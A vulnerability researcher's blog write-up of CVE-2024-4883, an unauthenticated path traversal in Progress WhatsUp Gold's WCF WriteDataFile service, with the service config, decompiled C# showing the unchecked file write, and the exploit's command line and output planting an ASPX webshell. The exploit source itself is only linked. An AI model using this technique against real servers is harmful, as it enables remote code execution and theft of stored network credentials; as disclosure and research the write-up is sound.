WhatsUp Gold Pre-Auth RCE WriteDataFile Primitive
CVE-2024-4883
TLDR
Previously I discovered a path traversal and now here is another unauthenticated path traversal against the latest version of progress whatsup gold and I also turned it into a pre-auth RCE, following is how I did it
Introduction (yet another TLDR)
Here we go, April 24th I reported a path traversal vulnerability that leads to unauthenticated remote code execution against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.
What is WhatsUp Gold

At the time, one of many definitions for this product on the vendor’s website is:
WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.
but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:
- you can store the SMB creds that will be used to run powershell commands on any end-user computer machine you want
- you can store SSH creds to execute any command you want
- you can store Cisco switches/routers creds to run management commands remotely
- you can, you get the idea

there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.
Advanced .NET Exploitation
sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets
The Vulnerability
The NmApi.exe process listens on ports 9642 and 9643, both are used to expose .NET WCF Services, the configuration for these two wcf services has been defined in a .config file at C:\Program Files (x86)\Ipswitch\WhatsUp\NmAPI.exe.config
Line (3) defines a binding of type netTcpBinding and at line (4) labels it as NetTcpBinding_ICoreServices also some other attributes such as different timeout values and quotas are set, then at line (7) the security attribute for this binding is set to None,
at line (34) a service and at line (35) an endpoint is added for this service with its contract value set to NmAPI.ICoreServices
then at line (60) a baseAddress is added for this WCF service with the value net.tcp://localhost:9643
lets have a look at the contract implementation of NmAPI.ICoreServices interface
1: <system.serviceModel>
2: <bindings>
3: <netTcpBinding>
4: <binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false">
5: <readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
6: <reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/>
7: <security mode="None"/>
8: </binding>
9: </netTcpBinding>
10: <basicHttpBinding>
11: <binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">
12: <readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
13: </binding>
14: </basicHttpBinding>
15: </bindings>
16: <behaviors>
17: <endpointBehaviors>
18: <behavior name="webHttpBehavior">
19: <webHttp/>
20: </behavior>
21: </endpointBehaviors>
22: <serviceBehaviors>
23: <behavior name="NmAPI.CoreServicesBehavior">
24: <serviceMetadata httpGetEnabled="false"/>
25: <serviceDebug includeExceptionDetailInFaults="true"/>
26: </behavior>
27: <behavior name="NmAPI.VirtualizationServicesBehavior">
28: <serviceMetadata httpGetEnabled="false"/>
29: <serviceDebug includeExceptionDetailInFaults="true"/>
30: </behavior>
31: </serviceBehaviors>
32: </behaviors>
33: <services>
34: <service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">
35: <endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>
36: <endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">
37: <identity>
38: <dns value="localhost"/>
39: </identity>
40: </endpoint>
41: <endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">
42: <identity>
43: <dns value="localhost"/>
44: </identity>
45: </endpoint>
46: <endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">
47: <identity>
48: <dns value="localhost"/>
49: </identity>
50: </endpoint>
51: <endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">
52: <identity>
53: <dns value="localhost"/>
54: </identity>
55: </endpoint>
56: <!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
57: <host>
58: <baseAddresses>
59: <add baseAddress="http://localhost:9642/NmAPI"/>
60: <add baseAddress="net.tcp://localhost:9643"/>
61: </baseAddresses>
62: </host>
63: </service>
64: <service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">
65: <endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>
66: <endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>
67: <!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
68: <host>
69: <baseAddresses>
70: <add baseAddress="http://localhost:9676"/>
71: </baseAddresses>
72: </host>
73: </service>
74: </services>
75: <diagnostics>
76: <!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->
77: <!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->
78: <messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">
79: <filters>
80: <clear/>
81: </filters>
82: </messageLogging>
83: </diagnostics>
84: </system.serviceModel>
Following interface at NmApi.exe!NmAPI.ICoreServices defines the available methods offered by the target Windows Communication Foundation contract, at line (8) it defines a ServiceContract named ICoreServices then multiple OperationContract are defined, the one we are interested in is the WriteDataFile contract, now you can notice its declaration at line (42), it expects one argument of type EntityDataFileTransfer AKA
WUGDataAccess.Core.DataContracts.EntityDataFileTransfer before we look at the implementation of the contract, lets first understand how this argument is structured
1: using System;
2: using System.ServiceModel;
3: using WUGDataAccess;
4: using WUGDataAccess.Core.DataContracts;
5:
6: namespace NmAPI
7: {
8: [ServiceContract]
9: public interface ICoreServices
10: {
11: [OperationContract]
12: bool WindowsCredentialUsedByFailover(int credentialID);
13:
14: [OperationContract]
15: int WindowsCredentialDeviceUseCount(int credentialID);
16:
17: [OperationContract]
18: CredentialInfo[] GetWindowsCredentialInfo();
19:
20: [OperationContract]
21: EntityWindowsCredential GetWindowsCredential(int credentialID);
22:
23: [OperationContract]
24: EntityWindowsCredential AddWindowsCredential(EntityWindowsCredential windowsCredential);
25:
26: [OperationContract]
27: void UpdateWindowsCredential(EntityWindowsCredential windowsCredential);
28:
29: [OperationContract]
30: void DeleteWindowsCredential(int credentialID);
31:
32: [OperationContract]
33: EntityRegistryValue[] GetFailoverRegistryValues();
34:
35: [OperationContract]
36: void UpdateFailoverRegistryValues(EntityRegistryValue[] values);
37:
38: [OperationContract]
39: EntityFileInfo[] GetDataDirectoryFiles();
40:
41: [OperationContract]
42: void WriteDataFile(EntityDataFileTransfer dataFile);
43:
44: [OperationContract]
45: bool FailoverActive(bool enable);
46: }
47: }
The WUGDataAccess.Core.DataContracts.EntityDataFileTransfer type has multiple properties:
- line (22) defines the
FileInfoproperty which is of typeEntityFileInfo - line (25) defines the
FileContentsproperty which is just a byte array
now we need to understand the EntityFileInfo structure
1: using System;
2: using System.Runtime.Serialization;
3:
4: namespace WUGDataAccess.Core.DataContracts
5: {
6: [DataContract]
7: public class EntityDataFileTransfer : IExtensibleDataObject
8: {
9: public virtual ExtensionDataObject ExtensionData
10: {
11: get
12: {
13: return this.theData;
14: }
15: set
16: {
17: this.theData = value;
18: }
19: }
20:
21: [DataMember]
22: public EntityFileInfo FileInfo { get; set; }
23:
24: [DataMember]
25: public byte[] FileContents { get; set; }
26:
27: private ExtensionDataObject theData;
28: }
29: }
The EntityFileInfo type has multiple properties but for us, the property at line (25) is important which is the Name property of type string
now that we understand the EntityDataFileTransfer and EntityFileInfo it is time to go back and investigate the WriteDataFile method
1: using System;
2: using System.Runtime.Serialization;
3:
4: namespace WUGDataAccess.Core.DataContracts
5: {
6: [DataContract]
7: public class EntityFileInfo : IExtensibleDataObject
8: {
9: public virtual ExtensionDataObject ExtensionData
10: {
11: get
12: {
13: return this.theData;
14: }
15: set
16: {
17: this.theData = value;
18: }
19: }
20:
21: [DataMember]
22: public string DirectoryName { get; set; }
23:
24: [DataMember]
25: public string Name { get; set; }
26:
27: [DataMember]
28: public long Length { get; set; }
29:
30: [DataMember]
31: public DateTime LastWriteTime { get; set; }
32:
33: private ExtensionDataObject theData;
34: }
35: }
This method is super simple, it expects one argument named dataFile which is of type EntityDataFileTransfer that we discussed earlier, then at line (4) it constructs a path using dataFile.FileInfo.Name which is under our control, the final path is placed inside the text2 variable, then at line (5) a check is done to ensure if this path exists, and if so, at line (8) the provided byte array inside dataFile.FileContents is written to this path by calling the File.WriteAllBytes and passing the text2 for the file path
now if this path doesn’t exist, then the else clause at line (10) is executed and at line (16) a FileStream object is created by calling the File.Create and passing the text2 variable for the file path argument and at line (17) the byte array inside dataFile.FileContents is written to this file stream starting from 0 and then finally this file stream is closed at line (18)
This gives us a write what where primitive allowing us to achieve Pre-Auth Remote Code Execution ^_^
1: public void WriteDataFile(EntityDataFileTransfer dataFile)
2: {
3: string text = Path.Combine(Directory.GetCurrentDirectory(),
"Data" + dataFile.FileInfo.DirectoryName);
4: string text2 = Path.Combine(text, dataFile.FileInfo.Name);
5: if (File.Exists(text2))
6: {
7: File.SetAttributes(text2, FileAttributes.Archive);
8: File.WriteAllBytes(text2, dataFile.FileContents);
9: }
10: else
11: {
12: if (!Directory.Exists(text))
13: {
14: Directory.CreateDirectory(text);
15: }
16: FileStream fileStream = File.Create(text2);
17: fileStream.Write(dataFile.FileContents, 0, dataFile.FileContents.Count<byte>());
18: fileStream.Close();
19: }
20: File.SetLastWriteTime(text2, dataFile.FileInfo.LastWriteTime);
21: }
Proof of Concept
you can find the exploit at the following github repository you need to compile the exploit yourself, this exploit requires references to multiple files, To make things easier, install WhatsupGold on the development machine, although this is not a hard requirement, FYI the references are:
NmApi.exeWUGDataAccess.dll
WhatsUpWriteDataFileExploit.exe --target 192.168.0.11 --port 9643 --webshell hax.aspx
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold WriteDataFile Unauthenticated Remote Code Execution (CVE-2024-4883)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE
(^_^) Prepare for the Pwnage (^_^)
(*) Connecting to ICoreServices net.tcp://192.168.0.11:9643/
(*) Connection is ready
(*) Using write what where primitive, to plant C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\eb8e455a-28d2-4628-80cb-ef2d786c8409.aspx
(+) Webshell has been planted at https://192.168.0.11/NmConsole/eb8e455a-28d2-4628-80cb-ef2d786c8409.aspx
ZERO DAY INITIATIVE
If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Telerik at all, shout out to all of you people working there to make the internet safer.

